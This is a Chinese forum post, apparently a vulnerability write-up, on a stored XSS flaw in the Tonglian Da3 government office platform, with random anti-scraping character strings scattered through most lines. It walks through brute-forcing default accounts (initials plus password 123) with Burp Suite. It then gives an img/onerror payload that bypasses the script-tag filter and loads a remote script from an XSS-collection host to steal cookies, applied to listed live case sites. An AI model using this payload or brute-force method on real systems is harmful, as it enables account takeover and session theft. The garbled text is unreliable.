同联Da3协同办公平台后台通用储存型xss漏洞

admin

- M8 I5 [( | \% Y( V- O 6 g- G: C. H7 Q# T, h 4 C* W! Z% U) L2 j8 c: h 6 Z# I9 j/ _4 c7 ? & M3 x9 t) Z6 a* H: i% w P z 3 i% y6 j7 I: N$ j

0 _0 h: _/ O/ N 同联Da3协同办公平台后台通用储存型xss漏洞 0 H$ a \% f, x2 { X

+ N" [2 s# Q" j& @+ M1 R

平台简介： # ?7 J! M; G6 d/ N! T

 

北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！

' L" u2 `, Y0 V) V) u1 t8 s  

7 s0 n! c. c# B# b& W 由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址：

: v: T7 R+ E* b2 ^

 

5 O% j- @# r, l5 I$ O5 z

+ K( j$ c) c$ g/ _" l http://1.1.1.1:7197/cap-aco/#（案例2-）

4 x8 K$ y8 P: Y4 g! \

8 ~; R% H0 u$ ]* s8 g" T http://www.XXOO.com （案例1-官网网站） ) e! q; T( O9 h

: N, ?7 [0 A3 u! q( L) X( L

+ f1 q6 W/ Q$ r1 v 漏洞详情:

/ e* r" C( a4 k- v/ A  案例一、

6 K' m; l9 R+ ?- y8 j, r* I

: q% Y" z2 I8 y" i- J1 m 初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试 - Y2 t3 n* I4 ^% F1 p

     首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图： * B! V9 o4 s: k7 }2 t3 r: w* }2 K

{7 ]& w% A( a! Z) D3 W

  # O1 }2 N. T5 n& G0 _& D

, ?/ x# b# g. I, y: g

status为302即表示破解成功，然后找个破解成功的账号登录系统。然后在通知公告---通知公告发布-拟稿处存在储存型xss漏洞，我在编机器里填写好标题、选择人员，点html如图：

+ D. Y6 `& `8 A1 w$ p L, o: A: }

 

1 U7 s0 ]2 n Z. [

7 d6 Y" _( q3 W8 K7 O8 ?2 ?

: ?% Z) _: B6 _6 U 然后插我们的xss跨站代码（经过测试发现过滤了好多标签，比如script，没过滤img、iframe标签），这里我们用img标签来测试，payload如下 : V! y3 j7 S1 i- |% {

- y, D; i: t A0 p# P

4 N! h G% Q' B8 ]( z& Q+ X   & |9 R* T( g' B* _* r3 u/ A

1 l& }, o. i2 H- _ <img src=x ' }% u% {; m8 ~/ B4 c* d& p+ Y( }onerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.6kb.org/7OO7GQ?1510065652';>，如图： 6 U4 K+ H# ?5 i0 a3 e

3 m# m; l# D4 z9 t1 y5 ~4 `9 A$ g

) T2 J: {% E- b& z/ @8 v

然后发送，接收cookie如图：

 

0 k3 X9 g, B& ^

 

/ [+ x& u* a$ q9 V1 S

 

0 s) i7 z6 G- i# A# H

  : s0 O" _6 m# w

/ L4 _% P& e' B' Z( k2 Z S

U0 s' e- S4 Q

& ^2 W, c1 Z' g, a

+ G* r2 U+ I5 r* ^7 _   3 n& A1 E2 f1 z: p# d0 F

& H: ^- s4 D U

案例2、 9 c* n" {3 @5 W

8 v9 N7 L4 p7 S7 X' H" J5 P5 {! u' Z

, R; X& v' W8 l0 s* e. } 前面步骤都一样，下面看效果图：

# N$ t) ^3 z s: U# e( ~" s

% F/ z2 F* Q% U

* \4 k- N% w8 p$ B

  " C5 g; X! }4 H( W! n) l4 _

 

4 E; b. G6 ?" U$ h " K, ^5 a; A4 v) u; N3 Q

  4 R+ T5 X. g/ n# K: W, F, u

N9 W- Y1 V2 [: d4 j  

* U" F! m. E! Q. ~3 f) L

 

& x8 I: |) y: q/ t& t   3 X# G) f& K& Q; p8 `